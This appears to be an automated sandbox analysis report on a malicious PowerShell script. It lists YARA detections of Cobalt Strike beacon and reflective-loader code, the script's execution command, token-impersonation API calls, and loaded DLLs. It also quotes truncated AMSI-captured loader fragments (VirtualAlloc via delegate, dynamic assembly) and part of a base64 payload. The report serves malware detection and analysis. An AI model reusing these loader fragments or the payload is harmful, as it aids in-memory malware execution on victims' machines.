Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.powershell.exe.22efa0b0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.powershell.exe.22ef9b10000.0.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_663fc95d os = windows, severity = x86, description = Identifies CobaltStrike via unidentified function code, creation_date = 2021-04-01, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48, id = 663fc95d-2472-4d52-ad75-c5d86cfc885f, last_modified = 2021-12-17
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_CobaltStrike_f0b627fc reference_sample = b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b, os = windows, severity = x86, description = Rule for beacon reflective loader, creation_date = 2021-10-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1, id = f0b627fc-97cd-42cb-9eae-1efb0672762d, last_modified = 2022-01-13
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 date_created = 2020-12-02, rev = FireEye, date_modified = 2020-12-02, md5 = f41074be5b423afb02a74bc74222e35d
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: Msfpayloads_msf_ref date = 2017-02-09, hash1 = 4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87, author = Florian Roth, description = Metasploit Payloads - file msf-ref.ps1, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 1900, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.evad.winPS1@2/5@0/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0C0B70 LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

0_2_0000022EFA0C0B70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0C867C TerminateProcess,GetLastError,GetCurrentProcess,CreateToolhelp32Snapshot,Process32First,ProcessIdToSessionId,Process32Next,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,htonl,htonl,GetLastError,OpenProcessToken,GetLastError,ImpersonateLoggedOnUser,GetLastError,DuplicateTokenEx,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_0000022EFA0C867C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1456:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5noeq2o4.gsw.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 3.ps1

ReversingLabs: Detection: 73%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$var_buffer = $var_va.Invoke([IntPtr]::Z
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('M
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('bnlicXZrqsZros8DIyMja64+ydzc3Guq/Gui4PerIiPc8GKb05aBdUsnIyMjeWuq2tzzIyMjIyMjIyMjIyIjIy08mS0jlyruApsib+4Cd0tKUANTUUxEUUJOA0BCTU1MVwNBRgNRVk0DSk0DZ2xwA05MR0YNLi4pByMjIyMjIyOmhQ4/4uRgbO

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0D9744 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0000022EFA0D9744

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B4776C push 0000006Ah; retf	0_2_0000022EF9B47784
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EF9B41F35 push rsp; iretw	0_2_0000022EF9B41F36
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0E3935 push rsp; iretw	0_2_0000022EFA0E3936
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0E916C push 0000006Ah; retf	0_2_0000022EFA0E9184
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B895B77 pushad ; iretd	0_2_00007FFD9B895BB9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B89A26C push esp; retf	0_2_00007FFD9B89A26D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B9603E9 push cs; iretd	0_2_00007FFD9B96040A
